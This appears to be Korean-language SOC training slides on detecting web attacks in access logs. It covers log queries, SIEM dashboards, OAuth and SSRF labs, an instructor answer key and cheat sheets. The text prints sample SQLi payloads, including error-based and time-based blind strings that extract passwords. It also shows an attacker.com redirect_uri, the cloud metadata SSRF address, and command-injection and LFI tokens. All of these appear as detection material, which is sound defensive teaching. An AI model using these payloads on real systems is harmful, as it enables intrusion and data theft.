grep -iE "(union.*select|or\s+1=1|sleep\()" access.log

Python pandas 분석

import pandas as pd
df = pd.read_csv('access.log', sep=' ')
# 상태코드별 IP 집계
df[df.status==200].groupby('ip').size().sort_values(ascending=False)

💡 자동화 우선 순위: 1) 특정 IP의 전체 요청 추출 → 2) 상태코드 시퀀스 분석 → 3) payload 패턴 분류 → 4) 타임라인 차트 생성. Jupyter Notebook으로 분석 과정을 문서화하면 재현성이 높아진다

보강 설명반복적인 로그 분석 작업을 자동화하면 SOC 분석가가 더 중요한 판단에 집중할 수 있습니다. Python, Bash, Jupyter 등을 활용한 분석 자동화를 소개합니다.

로그 분석 자동화PythonBash

자동화 입력

탐지 이벤트에 자산 중요도·최근 24h 히스토리 보강
IP·계정·엔드포인트 기준으로 관련 이벤트를 묶음

사람 승인

서버 격리·대규모 차단·세션 강제 종료는 사람 승인 필요
고객 영향·업무 시간대·우회 가능성을 같이 판단

자동화 출력

티켓 생성·온콜 통지·증거 로그 자동 수집까지 연결
WAF 룰 임시 적용과 만료 시간도 같이 기록

심화 · SIEM 도구

ELK Stack / OpenSearch 웹 탐지 활용

실시간 대시보드와 빠른 쿼리로 웹 로그 분석을 시각화한다.

📊 Kibana 핵심 대시보드

상위 공격 IP: src_ip 기준 요청 수 시각화
상태코드 분포: 시간별 4xx/5xx 추이
엔드포인트 히트맵: URI별 공격 빈도
UA 분포: 스캐너/봇 UA 파악
Geo IP: 공격 출발지 지도

KQL 기본 쿼리 패턴

# SQLi 패턴 탐색
request: (*union*select* OR *sleep(*)
OR *or+1%3D1*)

# Brute Force 의심 IP
response:401 AND src_ip:185.143.223.17

# WebShell 호출 패턴
request: /uploads/*.php AND request: cmd=

보강 설명ELK Stack(Elasticsearch, Logstash, Kibana)과 OpenSearch는 웹 로그 분석의 표준 플랫폼입니다. 실전 대시보드와 쿼리 패턴을 소개합니다.

ELKElasticsearchKibana

이 도구가 잘 보는 것

도구마다 보이는 계층(L7/L4/패킷/검색)이 다름
강점은 선명하게, 한계는 보완 로그와 함께 이해

실무 연결

도구 결과를 티켓·대시보드·상관분석으로 이어야 가치가 큼
정상 baseline이 있어야 결과를 과잉 해석하지 않음

주의

패킷/검색 결과만으로 성공 여부를 단정하지 않기
도구 출력 형식과 시간대(UTC/KST)를 먼저 통일

심화 · 예방

선제적 웹 취약점 탐지 활동

공격자가 오기 전에 먼저 취약점을 찾는 것이 가장 효율적인 방어다.

🔧 DAST (Dynamic Application Security Testing)

실행 중인 앱에 대한 자동 취약점 스캔
도구: OWASP ZAP, Burp Suite, Nuclei
CI/CD 파이프라인 연동으로 배포 전 검사
주기적 스케줄 스캔 + 주요 업데이트 시

📝 SAST (Static Application Security Testing)

소스 코드 분석으로 잠재 취약점 발견
도구: SonarQube, Semgrep, CodeQL
개발 단계에서 조기 발견 = 낮은 비용
SQL 문자열 직접 조합, 인코딩 미처리 코드 탐지

버그 바운티 프로그램

외부 연구자에게 취약점 신고 보상
HackerOne, Bugcrowd 플랫폼 활용
내부 스캐닝과 상호 보완 관계

취약점 관리 프로세스

발견 → CVSS 점수 평가 → 우선순위 결정
CRITICAL/HIGH: 24~72시간 내 패치
패치 후 재검증 필수

보강 설명공격자가 오기 전에 먼저 취약점을 찾는 선제적 보안 활동이 중요합니다. DAST, SAST, 버그 바운티 등 다양한 취약점 발견 방법을 소개합니다.

DASTSAST버그 바운티

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 프로토콜

HTTP/2, HTTP/3 환경의 탐지 주의사항

새 프로토콜은 성능을 높이지만, 기존 WAF와 탐지 도구가 따라오지 못할 수 있다.

HTTP/2 주의사항

멀티플렉싱으로 단일 연결에 다수 요청 → 기존 연결 기반 Rate Limit 우회 가능
헤더 압축(HPACK) → 일부 WAF가 헤더 내용을 제대로 분석 못함
Request Smuggling 새 변형 (h2.req smuggling)

HTTP/3 (QUIC) 주의사항

UDP 기반 → 기존 TCP 기반 방화벽/IDS 우회 가능성
빠른 연결 수립 → 더 빠른 공격 속도
QUIC 처리 지원 WAF/IDS가 필요
UDP 443 포트 허용 여부 검토 필요

⚠️ 탐지 인프라 업그레이드 필요: WAF/IDS/SIEM이 HTTP/2, HTTP/3를 제대로 파싱하는지 확인해야 한다. 프로토콜 버전 정보를 로그에 남기는 것도 중요

보강 설명HTTP/2와 HTTP/3는 새로운 공격 표면을 만들고 기존 탐지 방법을 일부 무력화할 수 있습니다. 프로토콜 레벨 변화에 따른 탐지 주의사항을 다룹니다.

HTTP/2HTTP/3QUIC

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 프로토콜

WebSocket 보안과 탐지

WebSocket은 HTTP 업그레이드 이후 다른 채널이 된다 — 기존 탐지 규칙이 적용되지 않을 수 있다.

WebSocket 동작 특성

HTTP → WebSocket 업그레이드 (101 Switching)
이후 양방향 지속 연결 (ws:// wss://)
access.log에 업그레이드 요청만 기록됨
WebSocket 메시지는 별도 로그 소스 필요

WebSocket 공격 유형

Cross-Site WebSocket Hijacking (CSWSH)
WebSocket을 통한 XSS/SQLi payload 전달
비인증 WebSocket 채널 abuse
메시지 인젝션

탐지 포인트

101 Switching 요청의 Origin 헤더 검증
WebSocket 메시지 내용 검사 (WAF 지원 필요)
비정상적인 메시지 빈도/크기 모니터링

💡 WebSocket 로그는 별도 구성 필요 — 앱 서버 레벨 또는 전용 프록시에서 메시지 로깅을 설정해야 탐지가 가능하다

보강 설명WebSocket은 HTTP와 다른 통신 방식이므로 기존 WAF와 탐지 룰이 적용되지 않을 수 있습니다. WebSocket 특화 공격과 탐지 방법을 소개합니다.

WebSocket실시간 통신ws://

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 · 인증

OAuth / OIDC 공격 패턴

SSO와 소셜 로그인 구현의 허점이 계정 탈취로 이어질 수 있다.

Authorization Code 탈취

redirect_uri 조작으로 인증 코드를 공격자 서버로 전달

redirect_uri=https://attacker.com/callback

탐지: 허용 목록 외 redirect_uri 요청

CSRF + OAuth

state 파라미터 없음 → CSRF로 계정 연결 하이재킹

탐지: state 파라미터 누락 요청, /oauth/callback 비정상 접근

토큰 탈취 탐지 포인트

동일 access_token이 다른 IP에서 사용
만료된 refresh_token 재사용 시도
/oauth/token 엔드포인트 반복 요청

PKCE (Proof Key for Code Exchange)

Authorization Code 탈취 방어 메커니즘. code_challenge, code_verifier 파라미터로 코드 검증. 누락 시 취약점 가능성 → 로그에서 파라미터 포함 여부 확인

보강 설명OAuth와 OIDC는 현대 인증의 표준이지만, 잘못된 구현이나 설정은 공격 표면이 됩니다. 주요 공격 패턴과 로그에서의 탐지 방법을 설명합니다.

OAuthOIDCAuthorization Code

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

심화 실습 · LAB

Lab G. Credential Stuffing / API Abuse 분류하기

요청 속도, 계정 다양성, 상태코드 패턴으로 Stuffing과 일반 Brute Force를 구분하라.

🎯 실습 목표

104.237.146.2의 /api/v1/login 요청 분석
401 / 429 / 200 시퀀스 분류
Brute Force vs Credential Stuffing 구분
API Rate Limit 회피 패턴 확인

🔎 구분 기준

항목	Brute Force	Stuffing
계정	1개 고정	다수 변경
속도	빠름	느림/분산
데이터	패턴 생성	유출 목록

API Abuse 추가 확인 포인트

429 발생 후 속도 조절 여부 — 스마트 자동화 도구
X-Forwarded-For 조작 또는 IP 순환 여부
성공(200)된 계정의 이후 /api 행동 추적

보강 설명Lab G는 Credential Stuffing과 API Abuse를 구분하는 실습입니다.

Credential StuffingAPI Abuse실습

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

심화 실습 · LAB

Lab H. SSRF 시도 식별하기

URL 파라미터에 내부 주소가 들어간 요청을 찾고 egress 상관분석으로 연결하라.

🎯 실습 목표

51.158.201.77의 SSRF 패턴 식별
타겟 주소 분류 (localhost/169.254/RFC1918)
스킴·포트 이상 여부 확인
egress 연결 상관 분석 방법 제안

🔎 찾아야 할 패턴

url=http://localhost, url=http://127.0.0.1
url=http://169.254.169.254/latest/meta-data/
callback=, target=, image= 파라미터
file://, gopher:// 비정상 스킴

상태코드별 해석

200: 내부 자원 응답 반환 가능성
500: 내부 요청 처리 오류 → 시도 흔적
403/404: 방어 또는 경로 없음

🔗 상관분석 제안

access.log url= 요청 시각 기록
같은 서버의 DNS query 로그 확인
10초 내 내부망 아웃바운드 연결 여부

보강 설명Lab H는 SSRF 시도를 식별하는 실습입니다.

SSRF실습Lab H

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

심화 실습 · LAB

Lab I. 복합 시나리오를 사건 흐름으로 재구성하기

정상/의심/공격 이벤트를 섞어 놓고, 정찰→공격→영향 흐름을 한 문단으로 써 보라.

📋 작업 순서

IP별로 묶어 타임라인 정리
같은 자산·같은 시간축 상관
sequence + follow-on evidence 우선
사건 타임라인 + 우선순위 + 조사 계획 작성

📝 작성 산출물

사건 타임라인: 시각 + 행위 + 상태코드
우선순위: Critical / High / Medium / Low
추가 조사 계획: 추가로 볼 로그
Low Priority 근거: 왜 낮게 봤는가

✅ 좋은 답안 예시

"185.143.223.17이 14:23~14:41 /search?q= 파라미터에 UNION SELECT 포함 요청 23회. sqlmap UA. 200(5회)/500(18회). 자동화 SQLi 시도 판단. DB/App 로그에서 조회 결과 반환 여부 확인 필요. IP 차단 검토, IR 에스컬레이션 판단."

보강 설명복합 시나리오를 사건 흐름으로 재구성하는 실습입니다. 공격 이름 나열만 하지 않고 이야기로 쓰게 하는 것이 핵심입니다.

복합 시나리오타임라인우선순위

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

심화 실습 · 채점 기준

좋은 답안의 형태와 채점 기준

공격 이름을 맞히는 것보다, 근거를 구조화하고 우선순위를 설명하는 능력이 더 중요하다.

🥇 A급: Fact+Pattern+Context+Action + 오탐 언급

추가 확인 대상 구체적 제시. 자산 맥락 포함.

🥈 B급: 공격 유형+근거 맞지만 조치 약함

맥락(자산 중요도) 설명 부족. 후속 확인 미흡.

🥉 C급: 문자열 나열 위주, 맥락 부족

상태코드·반복성·흐름 설명 없음. 조치 없음.

❌ "의심스러운 요청이 있었습니다" 수준

근거 없는 결론 단정. 분석 없음.

식별 정확도
25점

근거 품질
25점

흐름 구성
25점

조치 제안
25점

보강 설명공격 이름을 맞히는 것보다 근거를 구조화하는 능력이 더 중요합니다.

채점 기준근거 품질흐름 구성

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

강사용 · 심화 실습

강사용 기준 답안 요약

대표 IP와 공격 유형, 핵심 근거를 빠르게 매핑할 수 있어야 강의 진행이 부드럽다.

IP	유형	핵심 근거	추가 확인
185.143.223.17	SQLi	union select, sleep(), or 1=1, sqlmap UA	DB/App 로그, 조회 결과
45.77.22.90	XSS	script, onerror, svg/onload, 인코딩 변형	저장 여부, 관리자 조회
91.240.118.31	LFI	../../../../etc/passwd, /var/log/auth.log	파일 내용 반환 여부
103.44.19.8	CMDi	;cat, &&id, \|uname -a	호스트 프로세스 생성
172.104.81.55	WebShell	POST /upload + GET /uploads/shell.php?cmd=	EDR 프로세스 생성
89.248.165.44	Brute Force	401×N → 302 전환, /login POST 반복	성공 계정 후속 행동
104.237.146.2	API Abuse	/api/v1/login 과다 호출, 429/200 혼합	Rate Limit 우회 여부
51.158.201.77	SSRF	url=127.0.0.1, url=169.254.169.254	egress/DNS 아웃바운드

보강 설명 대표 IP와 공격 유형, 핵심 근거를 빠르게 매핑할 수 있어야 강의 진행이 부드럽다. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

최종 요약

요약 / 치트시트 / 운영 부록

오늘을 한 줄로 요약하고 실무에 바로 쓸 레퍼런스를 챙겨 가자

⏱ 약 25분

보강 설명 오늘을 한 줄로 요약하고 실무에 바로 쓸 레퍼런스를 챙겨 가자. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

최종 요약 · 마무리

오늘의 핵심 요약

웹 공격은 결국 HTTP 요청에 흔적을 남기며, 좋은 분석가는 그 흔적을 흐름으로 읽는다.

🏗️ 아키텍처를 알아야

어디서 무엇이 보이는지 안다
CDN / WAF / App / DB 각 계층의 역할

🌐 HTTP를 알아야

입력이 어디에 숨어 있는지 안다
Method, Path, Query, Header, Body

📋 로그를 알아야

패턴과 반복성을 잡을 수 있다
상태코드 시퀀스, 타임라인 재구성

💥 공격을 알아야

사건 스토리와 조치를 설명할 수 있다
SQLi · XSS · LFI · CMDi · Upload · Auth · SSRF

결국 좋은 분석가는 요청 한 줄을 사건 이야기로 바꾸는 사람이다

보강 설명웹 공격은 결국 HTTP 요청에 흔적을 남기며, 좋은 분석가는 그 흔적을 흐름으로 읽습니다.

핵심 요약아키텍처HTTP

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

최종 요약 · 치트시트

치트시트 1. HTTP / Access Log 핵심 필드

Method, Path, Query, Header, Status, Bytes, UA, Referer는 웹 관제의 기본 언어다.

필드	분석 관점
Method	GET=조회, POST=입력 — 기대 행위와 불일치 확인
Path/Query	공격 payload 주 입력 위치. 디코딩 후 분석 필수
Status	200/302/401/403/404/429/500 — 시퀀스로 읽기
Bytes	응답 크기 이상 변화 → 우회 성공 신호

필드	분석 관점
User-Agent	스캐너(sqlmap, Nikto), 봇, 자동화 도구 식별
Referer	직접 접근 여부, 내부 vs 외부 요청 구분
X-Forwarded-For	실제 IP vs 프록시. 조작 가능성 주의
response_time	Blind SQLi SLEEP() 탐지에 핵심

보강 설명Method, Path, Query, Header, Status, Bytes, UA, Referer는 웹 관제의 기본 언어입니다.

치트시트HTTP 필드Status

빠른 구분법

키워드는 위치와 맥락까지 함께 읽어야 함
정의보다 “로그에서 어떻게 보이는가”로 복습
정상·의심·위험 3단으로 바로 분류 연습

현장 사용법

운영 중엔 치트시트를 보고 즉시 질문 순서를 고정
팀 공통 표현으로 정리해 handoff 품질을 맞춤
자주 틀리는 항목은 팀 위키에 별도 축적

기억 문장

패턴 암기보다 흐름 재구성이 더 오래 남는다
용어는 흔적·영향·조치와 같이 외워야 실전에 남음
빠른 분류 뒤에는 반드시 추가 확인 로그를 연결

최종 요약 · 치트시트

치트시트 2. 공격별 대표 토큰

대표 토큰은 출발점일 뿐이며, 엔드포인트·상태코드·반복성과 결합해야 진짜 의미가 생긴다.

SQLi

OR 1=1 / UNION SELECT / ORDER BY N / SLEEP(N)
-- / /**/ / %27 / information_schema / HEX()

XSS

LFI / Traversal

../ / %2e%2e%2f / ....// / php://filter
/etc/passwd / /var/log/ / .env / config.php

CMDi

; / && / || / | / `cmd` / $(cmd)
whoami / id / cat / ls / wget / curl / nc

WebShell / Upload

.php / .jsp / .aspx / .phtml / multipart
shell.php / cmd= / filename= / content-type

Auth / SSRF

401→302 / 429 / /login POST 반복
localhost / 127.0.0.1 / 169.254.169.254

보강 설명대표 토큰은 출발점일 뿐이며, 상태코드·반복성과 결합해야 진짜 의미가 생깁니다.

대표 토큰SQLiXSS

빠른 구분법

키워드는 위치와 맥락까지 함께 읽어야 함
정의보다 “로그에서 어떻게 보이는가”로 복습
정상·의심·위험 3단으로 바로 분류 연습

현장 사용법

운영 중엔 치트시트를 보고 즉시 질문 순서를 고정
팀 공통 표현으로 정리해 handoff 품질을 맞춤
자주 틀리는 항목은 팀 위키에 별도 축적

기억 문장

패턴 암기보다 흐름 재구성이 더 오래 남는다
용어는 흔적·영향·조치와 같이 외워야 실전에 남음
빠른 분류 뒤에는 반드시 추가 확인 로그를 연결

최종 요약 · 치트시트

치트시트 3. 상태코드 해석

200만 보는 습관을 버리고, 302/401/403/404/429/500을 흐름 속에서 읽어야 한다.

코드	분석 관점
200	정상 or 우회 성공. Bytes 변화 함께 확인
302	로그인 성공 리다이렉트. 401→302는 강한 신호
401	인증 실패. 반복 시 Brute Force 의심
403	권한 거부 / WAF 차단. 탐색 중 신호

코드	분석 관점
404	경로 없음. 다수 연속 시 경로 스캔
429	Rate Limit 발동. 이후 속도 조절 여부 확인
500	서버 오류. Blind SQLi, CMDi 부분 성공 가능
503	서비스 과부하. 대량 요청 후 DoS 신호

⚠️ 핵심: 상태코드는 단독이 아니라 시퀀스로 읽는다 — "401×30 → 200×1 → /admin 접근" = 최고 우선순위

보강 설명200만 보는 습관을 버리고, 302/401/403/404/429/500을 흐름 속에서 읽어야 합니다.

상태코드302401

빠른 구분법

키워드는 위치와 맥락까지 함께 읽어야 함
정의보다 “로그에서 어떻게 보이는가”로 복습
정상·의심·위험 3단으로 바로 분류 연습

현장 사용법

운영 중엔 치트시트를 보고 즉시 질문 순서를 고정
팀 공통 표현으로 정리해 handoff 품질을 맞춤
자주 틀리는 항목은 팀 위키에 별도 축적

기억 문장

패턴 암기보다 흐름 재구성이 더 오래 남는다
용어는 흔적·영향·조치와 같이 외워야 실전에 남음
빠른 분류 뒤에는 반드시 추가 확인 로그를 연결

최종 요약 · 운영 부록

운영 부록 1. 웹 로그 수집 권장 항목

좋은 탐지의 절반은 룰이 아니라 무엇을 남기느냐에서 결정된다.

✅ 필수 수집 항목

raw_uri + decoded_uri (둘 다 필수)
src_ip, x-forwarded-for
method, host, status, bytes
response_time (Blind 공격 탐지)
user_agent, referer

🔗 강화 수집 항목

request_id, session_id (상관 키)
account / user_id
upstream_status
waf_rule_id, waf_action
content_type, body_size

📌 민감정보 보호: 비밀번호·세션 원문·토큰은 마스킹/해시 처리. 조사 상관 키는 유지.

보강 설명좋은 탐지의 절반은 룰이 아니라 무엇을 남기느냐에서 결정됩니다.

로그 수집decoded_uriresponse time

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

최종 요약 · 운영 부록

운영 부록 2. 웹 로그에 남기면 안 되는 것

로그는 보안을 위해 필요하지만, 그 자체가 또 다른 민감정보 저장소가 될 수 있다.

❌ 절대 원문으로 남기지 않는 것

비밀번호 (login POST body)
원문 세션 ID / 쿠키 원본
API 키, 액세스 토큰, 비밀 키
신용카드, 주민번호 등 개인정보

⚠️ 주의가 필요한 것

디버그 모드 과도한 에러/스택트레이스
내부 서버 경로, DB 연결 문자열
요청 Body 전문 (크기 제한)
과도한 보존 기간 (법적 의무 초과)

🛡️ 보호 방법: SHA-256 해시, 필드 마스킹, 토큰화. 조사 복원 가능하게 설계.

⚠️ 로그 접근 권한 + 전송 TLS + 보존 기간 정책도 운영의 일부다.

보강 설명로그는 보안을 위해 필요하지만, 그 자체가 또 다른 민감정보 저장소가 될 수 있습니다.

민감정보마스킹세션 ID

감사 체크

보존 기간·무결성·접근통제 정책이 문서화돼 있는가
민감정보 마스킹과 로그 조회 권한 분리가 되어 있는가

운영 적용

retention·hash·backup 정책을 한 장으로 정리
개인정보 포함 필드는 최소 수집·최소 보존이 원칙

주의 지점

비밀번호·토큰·세션ID 원문 저장은 금지
과도한 보존은 보안·법적 리스크를 함께 키움

최종 요약 · 운영 부록

운영 부록 3. 웹 사고 조사 아티팩트 체크리스트

웹 사고는 요청 원문 하나로 끝나지 않는다. 필요한 아티팩트를 미리 목록화해 두면 대응 속도가 빨라진다.

🌐 웹 계층

access.log
WAF log (룰 ID)
app / error log
reverse proxy log
CDN log

💻 호스트 계층

process create
file create/modify
cron/service 변경
auth.log / syslog
EDR 타임라인

📡 네트워크 계층

DNS query log
flow / NetFlow
egress HTTP/TLS
firewall allow/deny
proxy log

🔐 계정 계층

session log
login history
MFA 이벤트
admin action log
API token usage

조사 우선순위: 웹(진입 경로) → 호스트(영향) → 네트워크(유출) → 계정(지속성)

보강 설명웹 사고는 요청 원문 하나로 끝나지 않습니다. 아티팩트를 미리 목록화해 두면 대응 속도가 빨라집니다.

아티팩트access.logEDR

운영 트리거

배포 직후·차단 직후·새벽 대량 요청을 우선 확인
관리자 표면·공개 서비스는 항상 우선순위 상향

산출물

타임라인 3~5줄 + 근거 필드 + 오탐 가능성
즉시 조치와 추가 확인 대상을 반드시 분리

실무 예시

401 반복 뒤 302/200 1회는 성공 신호로 취급
내부 IP라도 관리자 접근이면 재검증

최종 요약 · 마무리

다음 모듈로의 연결

웹 공격 분석을 이해했다면, 이제부터는 탐지 룰 고도화와 사건 대응 자동화의 품질이 달라진다.

📌 이번 모듈에서 만든 것

웹 요청을 읽는 눈
공격별 패턴 인식 능력
FPCA 분석 프레임워크
로그 상관분석 기초

🚀 다음 모듈에서 연결되는 것

SIEM 탐지 룰 고도화
SOAR 플레이북 설계
IR 협업 절차
위협 인텔리전스 연동

중요한 것은 도구가 아니라 "흐름을 보는 사고방식"이다

결국 좋은 분석가는 요청 한 줄을
사건 이야기로 바꾸는 사람이다

보강 설명웹 공격 분석을 이해했다면, 이제부터는 탐지 룰 고도화와 사건 대응 자동화의 품질이 달라집니다.

다음 모듈SIEMSOAR

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

APPENDIX A

SQLi 심화 — 공격 기법과 우회 전략

탐지를 피하기 위한 공격자의 기법을 알아야 더 강한 룰을 만들 수 있다

⏱ 선택 심화 콘텐츠

보강 설명 탐지를 피하기 위한 공격자의 기법을 알아야 더 강한 룰을 만들 수 있다 SQLi의 핵심은 입력값이 데이터가 아니라 쿼리 구조 자체로 해석되는 순간이다. 키워드 암기보다 구조·반복성·응답 변화의 결합을 보는 것이 중요하다.

쿼리 구조UNION오탐 감축

대표 신호

OR 1=1, UNION SELECT, ORDER BY, information_schema 탐색
동일 파라미터에 조건·주석·인코딩을 바꿔가며 반복 시도
200/500/응답 크기 변화가 함께 나타나면 성공 가능성이 커짐

추가 확인

DB/App 에러 로그에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 컬럼 수 탐색→추출→후속 접근 흐름을 묶기
입력 위치가 검색창·정렬 파라미터·ID 조회인지 서비스 맥락으로 검증

실습 예시

decoded URI 기준으로 SQLi 키워드를 표준화해 보기
정상 검색어와 공격 payload의 차이를 구조 관점에서 설명하기
탐지 룰에서 파라미터 위치와 반복성을 어떻게 반영할지 써 보기

심화 A · SQLi

Error-Based SQLi — 에러 메시지가 데이터를 말한다

DB가 뱉는 에러 메시지 속에 내부 구조와 데이터가 담겨 있을 수 있다.

💥 공격 원리

extractvalue(), updatexml() 함수를 이용해 쿼리 결과를 에러 메시지에 삽입. 200 응답에 에러 텍스트가 포함되는 형태.

          ' AND extractvalue(1,concat(0x7e,(SELECT version()))-- -
        

🔎 탐지 포인트

응답에 MySQL error, ORA-, MSSQL 에러 문자열
짧은 시간에 동일 IP, 다양한 함수 변형
App/error log: SQL syntax error 폭증
500 응답 반복 + UA 스캐너

⚠️ DB 에러 메시지를 외부에 노출하는 것 자체가 취약점 — 개발팀에 정보 노출 여부 확인 권고

보강 설명Error-Based SQLi는 DB 에러 메시지를 통해 정보를 추출합니다.

Error-BasedSQLi에러 메시지

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
같은 IP의 ORDER BY·UNION·SLEEP 타임라인을 묶기

실습 예시

id=1 AND 1=1 vs 1=2의 응답 크기 차이를 비교해 보기
sqlmap UA가 없어도 반복성·변형 패턴으로 판단하기

심화 A · SQLi

Time-Based Blind SQLi — 응답 지연이 답을 말한다

에러도 없고 결과도 없지만, 응답 시간이 N초 지연되면 조건이 참이라는 의미다.

💥 공격 원리

조건이 참이면 SLEEP(N)초 지연, 거짓이면 즉시 응답. 이진탐색으로 DB 내용을 추출.

          ' AND IF(1=1, SLEEP(5), 0)-- -

          ' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

🔎 탐지 포인트

response_time > 3초 이상 응답 반복
동일 엔드포인트, 규칙적 지연 패턴
자동화 도구 간격 (0.1~0.5초 반복)
상태코드는 200이지만 시간 이상

📌 access.log에 response_time 필드가 없으면 Time-Based Blind SQLi를 탐지할 방법이 없다 — 수집 설정 확인 필수

보강 설명Time-Based Blind SQLi는 응답 시간 차이로 정보를 추론합니다.

Time-BasedBlind SQLiSLEEP

대표 신호

OR 1=1·UNION SELECT·SLEEP()·ORDER BY 탐색
information_schema·version()·extractvalue() 키워드

추가 확인

DB/App error log에 실제 쿼리 실패 흔적이 있는지 확인
